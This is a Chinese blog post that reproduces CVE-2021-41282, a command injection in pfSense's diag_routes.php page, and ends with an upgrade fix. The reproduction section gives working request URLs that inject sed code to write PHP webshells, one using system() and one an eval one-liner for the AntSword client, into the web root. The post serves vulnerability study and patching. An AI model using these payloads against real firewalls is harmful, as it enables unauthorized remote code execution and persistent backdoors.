当前位置:网站首页>Pfsense漏洞复现(CVE-2021-41282)
Pfsense漏洞复现(CVE-2021-41282)
2022-08-04 05:32:00 【安鸾彭于晏】
一、产品介绍:
pfSense Plus 软件是世界上最值得信赖的防火墙。 该软件赢得了全球用户的尊重和喜爱——安装次数超过 300 万次。 开源技术使之成为可能。 由 Netgate 制成坚固、可靠、可靠的产品
产品官网:
https://www.pfsense.org/

二、漏洞概述:
pfSense 允许经过身份验证的用户获取有关防火墙中设置的路由的信息。 信息是通过执行 netstat实用程序,然后通过 sed调用执行。 虽然命令注入的常见预防模式(即使用 escapeshellarg参数的函数)正在使用中,但是仍然可以注入 sed- 特定代码并在任意位置写入任意文件。 由于易受攻击的端点也容易受到跨站点请求伪造 (CSRF) 的攻击,因此也可以利用此漏洞进行预身份验证。

三、漏洞详情:
CVE编号 | CVE-2021-41282 |
漏洞类型 | 远程代码执行 |
威胁等级 | 高危 |
影响版本 | pfSense CE version <= 2.5.2 pfSense Plush version < 22.01 |
四、漏洞复现:
复现环境:
下载地址: Tags · pfsense/pfsense · GitHub
Pfsense版本: 2.5.1
操作系统: FreeBSD Linux

漏洞位于diag_routes.php页面,在做filter参数接收时没有对输入的参数进行严格的过滤导致产生的命令执行

在对diag_routes.php发起一个请求时,如果没有IPV6的请求参数,初始执行的命令如下所示:
/usr/bin/netstat –Rw –f inet 这样,再次请求filter参数就会在后面拼接上命令,利用的payload如下所示:
/diag_routes.php?isAjax=1&filter=.*/!d;};s/Destination/\x3c\x3fphp+system($_GET[\x22a\x22])\x3b\x3f\x3e/;w+/usr/local/www/a.php%0a%23

漏洞利用的前提是需要进行登录,登录之后再次请求该链接就会在网站根路径下生成一个webshell的文件

我们再次访问该文件,发现已经生成成功了

使用参数即可执行命令

可以稍作修改,替换成一句话,使用蚁剑连接
/diag_routes.php?isAjax=1&filter=.*/!d;};s/Destination/\x3c\x3fphp+\@eval($_POST[\x22a\x22])\x3b\x3f\x3e/;w+/usr/local/www/shell.php%0a%23

所以最后生成的命令就是:
/usr/bin/netstat -rW -f inet | /usr/bin/sed -e '1,3d; 5,\$ { /!d;};s/Destination/\x3c\x3fphp system($_GET[\x22a\x22])\x3b\x3f\x3e/;w /usr/local/www/a.php #/!d; };'
参数讲解:
netstat –rW #获取路由并且不使用truncate跟踪
netstat –f inet #AF默认会使用inet(DARPA Internet),inet是支持的路由格式
sed –e ‘1,3d’; #筛选结果,将1,3行删除不显示,就是显示1,3行之外的所有内容

在sed当中可以使用s/match/replace和w/path/to/files来进行写入
s/Destination/\x3c\x3fphp system($_GET[\x22a\x22])\x3b\x3f\x3e/;w /usr/local/www/a.php
这一段内容就是将netstat结果中的Destination替换为<?php system($_GET[“a”]);?>,再写入到/usr/local/www/a.php文件当中

将前面的参数闭合使用#注释掉后面的/!d};进行执行
五、修复建议:
将 pfSense CE 升级到 2.6.0 版或将 pfSense Plus 升级到 22.01 版
边栏推荐
猜你喜欢
随机推荐
集合---ArrayList的底层
基于Webrtc和Janus的多人视频会议系统开发6 - 从Janus服务器订阅媒体流
[daily office][ssh]cheatsheet
LeetCode_22_Apr_2nd_Week
LeetCode_Nov_3rd_Week
学好网络安全看这篇文章让你少走弯路
并发概念基础:线程安全与线程间通信
【HIT-SC-MEMO7】哈工大2022软件构造 复习笔记7
Unity Day02
管道重定向
常见的一些排序
LeetCode_22_Apr_4th_Week
树和二叉树
第一章 绪论
基于Webrtc和Janus的多人视频会议系统开发4 - 改造信令交互系统完成sdp交换过程
基于Webrtc和Janus的多人视频会议系统开发7 - publish和subscribe声音设备冲突导致对方听不到声音
IP 核之 MMCM/PLL 实验
Tensorflow/Pytorch安装(Anaconda环境下,无版本冲突,亲测有效)
tmux概念和使用
指针的运算【C语言】









